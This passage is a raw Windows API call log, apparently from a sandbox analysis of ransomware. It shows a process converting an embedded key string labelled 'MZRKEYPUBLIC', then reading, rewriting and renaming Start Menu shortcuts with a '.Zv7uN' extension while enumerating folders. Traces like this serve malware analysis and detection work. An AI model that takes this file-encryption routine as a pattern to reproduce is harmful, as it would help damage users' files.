57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0129.485] GetCurrentThreadId () returned 0xa30 [0129.485] GetCurrentThreadId () returned 0xa30 [0129.485] GetCurrentThreadId () returned 0xa30 [0129.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f52c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.486] GetCurrentThreadId () returned 0xa30 [0129.486] GetCurrentThreadId () returned 0xa30 [0129.486] GetCurrentThreadId () returned 0xa30 [0129.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.486] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0129.487] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.487] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x51a [0129.487] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.487] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27330, nNumberOfBytesToRead=0x51a, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27330*, lpNumberOfBytesRead=0x18f108*=0x51a, lpOverlapped=0x0) returned 1 [0129.491] CloseHandle (hObject=0x1dc) returned 1 [0129.491] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.493] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29360*, nNumberOfBytesToWrite=0x51a, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29360*, lpNumberOfBytesWritten=0x18f114*=0x51a, lpOverlapped=0x0) returned 1 [0129.496] CloseHandle (hObject=0x1dc) returned 1 [0129.496] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk.zv7un")) returned 1 [0129.498] GetCurrentThreadId () returned 0xa30 [0129.498] GetCurrentThreadId () returned 0xa30 [0129.498] GetCurrentThreadId () returned 0xa30 [0129.498] GetCurrentThreadId () returned 0xa30 [0129.498] GetCurrentThreadId () returned 0xa30 [0129.498] GetCurrentThreadId () returned 0xa30 [0129.498] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d424a7b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x51a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Private Character Editor.lnk", cAlternateFileName="PRIVAT~1.LNK")) returned 0 [0129.498] GetLastError () returned 0x12 [0129.498] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0129.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x61750840, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x61750840, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0129.499] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0129.499] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.499] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x61750840, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x61750840, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.499] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.499] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.499] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x616de420, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="computer.lnk.Zv7uN", cAlternateFileName="COMPUT~1.ZV7")) returned 1 [0129.499] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.499] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.499] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x61704580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Control Panel.lnk.Zv7uN", cAlternateFileName="CONTRO~1.ZV7")) returned 1 [0129.499] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.499] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.500] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0129.500] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6172a6e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5df, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Internet Explorer (No Add-ons).lnk.Zv7uN", cAlternateFileName="INTERN~1.ZV7")) returned 1 [0129.500] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.500] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.500] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x61750840, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x51a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Private Character Editor.lnk.Zv7uN", cAlternateFileName="PRIVAT~1.ZV7")) returned 1 [0129.500] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.500] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.500] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x61750840, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x51a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Private Character Editor.lnk.Zv7uN", cAlternateFileName="PRIVAT~1.ZV7")) returned 0 [0129.500] GetLastError () returned 0x12 [0129.500] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0129.500] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x613985e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Explorer.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0129.500] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.500] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.500] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x613985e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Explorer.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 0 [0129.501] GetLastError () returned 0x12 [0129.501] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0129.501] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0129.501] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0129.501] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.502] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0129.502] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.502] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.502] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0129.502] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.502] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0129.502] GetLastError () returned 0x12 [0129.502] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0129.502] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0129.503] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0129.503] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.503] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.503] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.503] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.503] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.503] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0129.503] GetLastError () returned 0x12 [0129.503] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0129.503] 